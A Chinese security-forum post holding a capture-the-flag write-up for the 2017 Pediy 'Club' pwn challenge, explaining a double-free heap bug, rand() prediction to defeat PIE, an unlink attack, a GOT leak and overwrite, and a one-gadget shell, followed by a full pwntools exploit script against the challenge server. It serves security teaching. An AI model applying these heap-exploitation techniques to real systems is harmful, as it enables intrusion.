首页
论坛
课程
招聘
[原创]第四题 WriteUp
2017-10-31 13:36 3149

[原创]第四题 WriteUp

2017-10-31 13:36
3149

程序流程分析

一个非常经典的文本管理,可以分配和管理空间,并向空间中写入文本。
另外,附带一个猜随机数的小游戏,猜对了可以获取随机种子(的地址)。
// 此程序中这两个是相等的

漏洞分析

在删除已有的box时free掉了box指向的堆地址,但未将指针本身清零,故存在Double Free和Use After Free漏洞。

第一步:取得程序地址偏移量

程序开启了全局PIE,地址完全随机,故必须先取得程序基地址。
分析程序,发现之前的猜随机数小游戏猜对了可以输出随机种子的地址,而本题中的随机种子为一个data段的全局变量,相对程序基址的偏移已知,故可以通过获取这个地址来获取程序基址。
关于Glibc的rand函数,查阅以下文章:
http://www.mscs.dal.ca/~selinger/random/
rand函数的一个简单复现:

#include <stdio.h>

#define MAX 1000
#define seed 1

main() {
  int r[MAX];
  int i;

  r[0] = seed;
  for (i=1; i<31; i++) {
    r[i] = (16807LL * r[i-1]) % 2147483647;
    if (r[i] < 0) {
      r[i] += 2147483647;
    }
  }
  for (i=31; i<34; i++) {
    r[i] = r[i-31];
  }
  for (i=34; i<344; i++) {
    r[i] = r[i-31] + r[i-3];
  }
  for (i=344; i<MAX; i++) {
    r[i] = r[i-31] + r[i-3];
    printf("%d\n", ((unsigned int)r[i]) >> 1);
  }
}

由此可知,在一个确定的随机种子下的序列中,下一个随机数的生成公式为:

randlist[l] = (randlist[l-3]+randlist[l-31]) % 2147483648

而在此程序中,若猜错随机数,则会输出正确的随机数,故可以通过故意猜错来获取足够长的随机数序列,从而预测下一个随机数的值。
猜到了正确的随机数后,获取到了seed变量的真实地址,减去偏移量0x202148,即得到了程序的基地址。

def guessRandomNumber():
    print "[+] Gathering random sequence......"
    randlist = []
    for i in range(50):
        p.recvuntil('>')
        p.sendline('5')
        p.recvuntil('>')
        p.sendline('-1')
        p.recvuntil('Wr0ng answer!The number is ')
        num = p.recvuntil('!')[:-1]
        randlist.append(int(num))
    print "[+] Calculating the next random number......"
    l = len(randlist)
    randnum = (randlist[l-3]+randlist[l-31]) % 2147483648 
    print "[*] Got the next random number: %d" % randnum
    return randnum

def getPIEAddress(num):
    print "[+] Getting the base address......"
    p.recvuntil('>')
    p.sendline('5')
    p.recvuntil('>')
    p.sendline(str(num))
    p.recvuntil('G00dj0b!You get a secret: ')
    addr = p.recvuntil('!')[:-1]
    addr = int(addr) - 0x202148
    print "[*] Got the PIE offset: 0x%x" % addr
    return addr

第二步:布置堆块,通过Double Free漏洞触发unlink宏获取指向指针列表的指针

关于unlink的原理可以参见以下文章
http://blog.csdn.net/qq_29343201/article/details/53558216
这个程序对堆块的大小有一个限制,从上到下的几个box,后一个比前一个必须大16以上,且大小控制在8 - 0x1000范围内。
另一个限制是,能够free的指针只有第二个和第三个box。
为了使堆块连续分配,需要控制堆块的大小在同一个bin范围内,这里选择small bin范围。
先分配第二个和第三个box两个堆块,这里选择的大小为128和144,然后再free第二块和第三块(此时指针仍然存在)。此时堆中的布局如下:

        --------------
        | prev_size  |
        --------------
        |    size    |
 ptr2-> --------------
        |     fd     |
        --------------
        |     bk     |
        --------------
        |            |
        | (128 - 16  |
        |    bytes)  |
        --------------
        | prev_size  |
        --------------
        |    size    |
 ptr3-> --------------
        |            |
        |(144 bytes) |
        |            |
        |            |
        --------------

再分配第四个box,大小为(128 + 144 + 16),为了将box2和box3的空间恰好完全覆盖
为了触发unlink宏,需要通过检验:

(p -> fd) -> bk == p
(p -> bk) -> fd == p

故选取data段box2指针向前偏移0x18作为伪fd,向前0x10作为伪bk
(对应的为指针list - 0x8, 指针list - 0x0)
通过box4的指针去修改堆里的内容,现在堆里的布局如下:

        --------------
        | prev_size  |
        --------------
        |    size    |
 ptr2-> -------------- <-ptr4
        |fakeprevsize|
        --------------
        | fake_size  |
        --------------
        |  fake_fd   |
        --------------
        |  fake_bk   |
        --------------
        | (128 - 32  |
        |    bytes)  |
        --------------
        |fakeprevsize|
        --------------
        | fake_size  |
 ptr3-> --------------
        |            |
        |(144 bytes) |
        |            |
        |            |
        --------------

free box3指针,成功,触发unlink,现在box2指针的值已经被修改为了指向指针列表 - 0x8的位置。

第三步:通过修改指针的值泄露GOT表的信息从而计算libc的基址

现在指针列表已经可控了,可以将没有用到的box1的指针修改为指向GOT表上地址的指针。
由于程序限制了必须先分配才可查看的设定,在修改之前先分配一个小一点的box1,这里大小为112.
通过box2指针来编辑指针列表,这里将box1的指针修改为GOT表上“free”函数的地址。(也可以是其他函数,但一定是要之前执行过的函数,由于延迟绑定,执行过的GOT表中才会存放真实地址)
使用程序自带的show message功能查看box1中存放的内容,由于box1已被修改,故实际查看的是GOT表中free函数的地址。获取地址之后根据题目所给的libc文件,可以算出libc的基址。

第四步:通过修改GOT表实现控制流劫持从而get shell

由one_gadget工具,根据提供的libc,可以得到几个能够get shell的偏移,经测试选取0xf0274这个偏移。通过之前获取的libc基址可以算出one gadget RCE的真实地址。
通过再次修改box1指针指向的值(此时已经指向GOT表),将“puts”函数的GOT表修改为one gadget RCE的地址。(因为两根能free的指针一根被修改了,另一根已经过double free,为了避免不必要的麻烦,不选择free函数的GOT表)
控制程序任意puts一个字符串,触发one gadget RCE,获得shell。

exp.py

from pwn import *
context(arch = "amd64", os = "linux")
#p = process('./club', env = {'LD_PRELOAD': './libc.so.6'})
p = remote('123.206.22.95', 8888)
elf = ELF('./club')
libc = ELF('./libc.so.6')

def guessRandomNumber():
    print "[+] Gathering random sequence......"
    randlist = []
    for i in range(50):
        p.recvuntil('>')
        p.sendline('5')
        p.recvuntil('>')
        p.sendline('-1')
        p.recvuntil('Wr0ng answer!The number is ')
        num = p.recvuntil('!')[:-1]
        randlist.append(int(num))
    print "[+] Calculating the next random number......"
    l = len(randlist)
    randnum = (randlist[l-3]+randlist[l-31]) % 2147483648 
    print "[*] Got the next random number: %d" % randnum
    return randnum

def getPIEAddress(num):
    print "[+] Getting the base address......"
    p.recvuntil('>')
    p.sendline('5')
    p.recvuntil('>')
    p.sendline(str(num))
    p.recvuntil('G00dj0b!You get a secret: ')
    addr = p.recvuntil('!')[:-1]
    addr = int(addr) - 0x202148
    print "[*] Got the PIE offset: 0x%x" % addr
    return addr

print "[*] Pediy CTF 2017 - Pwn - Club"
print "[*] Exploit by acdxvfsvd"

print "[+] Bypassing the PIE......"
num = guessRandomNumber()
pieoffset = getPIEAddress(num)

buf_list = pieoffset + 0x202100

print "[+] Allocating the heap......"

def allocate(index, length):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('>')
    p.sendline(str(index))
    p.recvuntil('>')
    p.sendline(str(length))

def destroy(index):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('>')
    p.sendline(str(index))

def edit(index, buf):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('>')
    p.sendline(str(index))
    p.recv()
    p.sendline(buf)

def getmessage(index):
    p.recvuntil('>')
    p.sendline('4')
    p.recvuntil('>')
    p.sendline(str(index))
    data = p.recvline()[1:-1]
    return data

#allocate(1, 112)
allocate(2, 128)
edit(2, 'B' * 128)
allocate(3, 144)
edit(3, 'C' * 144)
destroy(2)
destroy(3)
allocate(4, 144 + 128 + 16)

print "[+] Filling heap chunks with payload......"
fd = buf_list - 0x8
bk = buf_list - 0x0
fake_chunk = ''
fake_chunk += p64(0) + p64(129) + p64(fd) + p64(bk) + 'a' * (128 - 8 * 4)
fake_chunk += p64(128) + p64(160) + 'A' * 144
edit(4, fake_chunk)
print "[+] Triggering the unlink macro......"
destroy(3)
print "[*] Got the unlinked pointer"

print "[+] Overwriting the chunk list......"
allocate(1, 112)
fake_list = ''
#fake_list += p64(0) * 2
fake_list += p64(pieoffset + elf.got['free']) * 3
edit(2, fake_list)
print "[+] Leaking the address of libc......"

free_addr = u64(getmessage(1).ljust(8, '\x00'))
print "[*] Got the address of free: 0x%x" % free_addr
libc_addr = free_addr - libc.symbols['free']
print "[*] Got the address of libc: 0x%x" % libc_addr

print "[+] Overwriting the global offset table......"
one_offset = 0xf0274
one_addr = libc_addr + one_offset
fake_got = p64(one_addr) * 3
edit(1, fake_got)
print "[*] Now the function puts points to the one gadget RCE"

print "[+] Triggering the RCE......"
print "[*] Got a shell!"  




p.interactive()


[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 53
活跃值: 活跃值 (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Zkeleven 活跃值 2017-11-1 13:47
2
0
66666
雪    币: 6809
活跃值: 活跃值 (152)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
聖blue 活跃值 2017-11-2 17:00
3
0
不错!
雪    币: 1001
活跃值: 活跃值 (98)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
陈jack 活跃值 2018-7-21 17:08
4
0
写的很好
游客
登录 | 注册 方可回帖
返回